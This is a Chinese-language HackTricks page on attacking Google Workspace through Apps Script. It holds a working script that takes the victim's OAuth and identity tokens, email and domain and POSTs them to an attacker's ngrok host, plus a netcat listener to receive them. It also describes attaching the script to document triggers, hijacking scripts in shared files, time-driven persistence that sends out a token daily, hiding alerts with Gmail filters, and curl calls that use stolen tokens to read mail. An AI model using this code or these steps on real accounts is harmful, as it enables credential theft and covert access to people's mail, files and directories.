GWS - App Scripts

支持 HackTricks

App Scripts

App Scripts 是 当具有编辑权限的用户访问与 App Script 关联的文档时触发的代码,并在 接受 OAuth 提示后。 它们也可以由 App Script 的所有者设置为 每隔一定时间执行(持久性)。

创建 App Script

创建 App Script 有几种方法,最常见的是 从 Google 文档(任何类型) 和作为 独立项目

从 Google 文档、表格或幻灯片创建容器绑定项目
  1. 打开一个文档、表格或幻灯片。

  2. 点击 扩展 > Google Apps Script

  3. 在脚本编辑器中,点击 无标题项目

  4. 给你的项目命名并点击 重命名

创建独立项目

要从 Apps Script 创建独立项目:

  1. 点击添加 新项目

  2. 在脚本编辑器中,点击 无标题项目

  3. 给你的项目命名并点击 重命名

从 Google Drive 创建独立项目
  1. 打开 Google Drive

  2. 点击 新建 > 更多 > Google Apps Script

从 Google 表单创建容器绑定项目
  1. 在 Google 表单中打开一个表单。

  2. 点击 更多 more_vert > 脚本编辑器

  3. 在脚本编辑器中,点击 无标题项目

  4. 给你的项目命名并点击 重命名

使用 clasp 命令行工具创建独立项目

clasp 是一个命令行工具,允许你从终端创建、拉取/推送和部署 Apps Script 项目。

有关更多详细信息,请参见 使用 clasp 的命令行界面指南

App Script 场景

使用 App Script 创建 Google 表格

首先创建一个 App Script,我对这个场景的建议是创建一个 Google 表格并转到 扩展 > App Scripts,这将为你打开一个 与表格关联的新 App Script

泄露令牌

为了提供对 OAuth 令牌的访问,你需要点击 服务 + 并添加范围,例如

  • AdminDirectory:访问目录中的用户和组(如果用户具有足够的权限)

  • Gmail:访问 Gmail 数据

  • Drive:访问 Drive 数据

  • Google Sheets API:以便与触发器一起工作

要自行更改 所需的范围,你可以转到项目设置并启用:在编辑器中显示 "appsscript.json" 清单文件

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

要捕获请求,您只需运行:

ngrok tcp 4444
nc -lv 4444 #macOS

权限请求以执行应用脚本:

由于发出了外部请求,OAuth 提示也将请求访问外部端点的权限

创建触发器

一旦应用被读取,点击⏰ 触发器以创建触发器。作为函数选择**getToken,在部署中选择Head,在事件源中选择From spreadsheet,在事件类型中选择On openOn edit**(根据您的需要)并保存。

请注意,如果您想调试某些内容,可以在执行选项卡中检查应用脚本的运行情况

共享

为了触发****应用脚本,受害者需要以编辑者访问连接。

用于执行应用脚本令牌将是触发器创建者的令牌,即使文件被其他用户以编辑者身份打开。

滥用与我共享的文档

如果有人与您共享了一个带有应用脚本和使用应用脚本的 Head 的触发器的文档(而不是固定部署),您可以修改应用脚本代码(例如添加窃取令牌的功能),访问它,并且应用脚本将以与您共享文档的用户的权限执行! (请注意,所有者的 OAuth 令牌将具有在创建触发器时给予的访问范围)。

将向脚本的创建者发送通知,指示有人修改了脚本(使用 Gmail 权限生成过滤器以防止警报怎么样?)

如果攻击者修改了应用脚本的范围,更新不会应用于文档,直到创建一个带有更改的新触发器。因此,攻击者将无法窃取比他在创建的触发器中设置的范围更多的所有者创建者令牌。

复制而不是共享

当您创建一个共享文档的链接时,会创建一个类似于以下的链接:https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit 如果您结尾的**"/edit"更改为"/copy",而不是访问它,谷歌会询问您是否想要生成文档的副本:**

如果用户复制并访问它,文档的内容和应用脚本将被复制,但是触发器不会,因此不会执行任何操作

作为 Web 应用程序共享

请注意,将应用脚本作为 Web 应用程序共享也是可能的(在应用脚本的编辑器中,部署为 Web 应用程序),但会出现如下警报:

随后是典型的 OAuth 提示,请求所需的权限。

测试

您可以测试收集到的令牌以列出电子邮件:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

列出用户的日历:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script 作为持久性

一个持久性的选项是创建一个文档并为 getToken 函数添加触发器,并与攻击者共享该文档,这样每次攻击者打开文件时,他就会提取受害者的令牌。

还可以创建一个 App Script,并使其每 X 时间(如每分钟、每小时、每天)触发。一个已获取受害者凭据或会话的攻击者可以设置一个 App Script 时间触发器,并每天泄露一个非常特权的 OAuth 令牌

只需创建一个 App Script,转到触发器,点击添加触发器,选择事件源为时间驱动,并选择最适合您的选项:

这将创建一个安全警报电子邮件和一条推送消息到您的手机,提醒您此事。

共享文档未验证提示绕过

此外,如果有人与您共享了一个编辑访问权限的文档,您可以在文档中生成App Scripts,而文档的所有者(创建者)将是 App Script 的所有者

这意味着,文档的创建者将显示为任何具有编辑访问权限的人在其中创建的任何 App Script 的创建者

这也意味着App Script 将被文档创建者的 Workspace 环境信任

这也意味着,如果App Script 已经存在并且人们已授予访问权限,那么任何具有编辑权限的人都可以修改它并滥用该访问权限。 要滥用这一点,您还需要人们触发 App Script。而一个巧妙的技巧是将脚本发布为网络应用。当已经授予App Script 访问权限的人访问网页时,他们将触发 App Script**(这也可以使用 <img> 标签实现)。

支持 HackTricks

Last updated